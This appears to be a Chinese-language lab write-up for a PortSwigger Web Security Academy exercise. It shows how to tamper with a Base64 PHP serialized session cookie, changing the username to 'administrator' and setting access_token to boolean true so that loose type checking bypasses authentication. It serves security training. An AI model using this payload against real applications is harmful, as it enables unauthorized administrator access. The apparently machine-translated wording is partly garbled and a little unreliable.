> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/deserialization/changing-serialized-data-types.md).
# 更改序列化数据类型
更改序列化数据类型，PortSwigger Web Security Academy 实验笔记，包括利用流程、载荷测试、Burp Suite 验证以及修复上下文。
### 修改序列化数据类型
**实验目标**
本实验使用基于序列化的会话机制，并存在可绕过身份验证的漏洞。/ 目标是修改会话 cookie 中包含的序列化对象，以访问 \*\*管理员账户\*\*，然后删除该用户 **carlos**.
**初始访问**
你可以使用以下凭据连接：
* **用户**: `wiener`
* **密码**: `peter`
连接后，服务器会返回一个包含以 Base64 编码的序列化对象的会话 cookie。
**已获取会话 Cookie**
会话 cookie 的值如下：
{% code overflow="wrap" %}
```bash
Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJybWNjYzI1MzQwcnMyMXF4bnptd2c0ZGd6c2FsZGo1dyI7fQ%3d%3d
```
{% endcode %}
**基础 Base64 解码**
解码后，得到如下序列化的 PHP 对象：
{% code overflow="wrap" %}
```json
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"rmccc25340rs21qxnzmwg4dgzsaldj5w";}%3d%3d
```
{% endcode %}
该对象表示一个 `用户` 具有两个属性的类：
* `用户名`
* `访问令牌`
**行为分析**
* 如果一个 `访问令牌` 字符被更改时，服务器会返回错误，这表明该字段通常会被验证。
* 该 `用户名` 该字段用于确定用户的角色。
**漏洞利用**
**已更改的用户名** / 该值 `用户名` 被替换为 `administrator` 通过正确调整字符串长度（`s:13`).
{% code overflow="wrap" %}
```json
O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";s:32:"rmccc25340rs21qxnzmwg4dgzsaldj5w";}%3d%3d
```
{% endcode %}
**令牌数据类型更改** / 不再提供链式类型 `访问令牌` (`字符串`），其类型被修改为布尔值（`b:1`，相当于 `true`).
最终序列化对象：
{% code overflow="wrap" %}
```json
O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";b:1;}%3d%3d
```
{% endcode %}
重新进行 Base64 编码并插入会话 cookie 后，服务器接受了该对象，而没有正确检查令牌类型。
然后应用程序认为该用户的会话有效 **administrator**.
---
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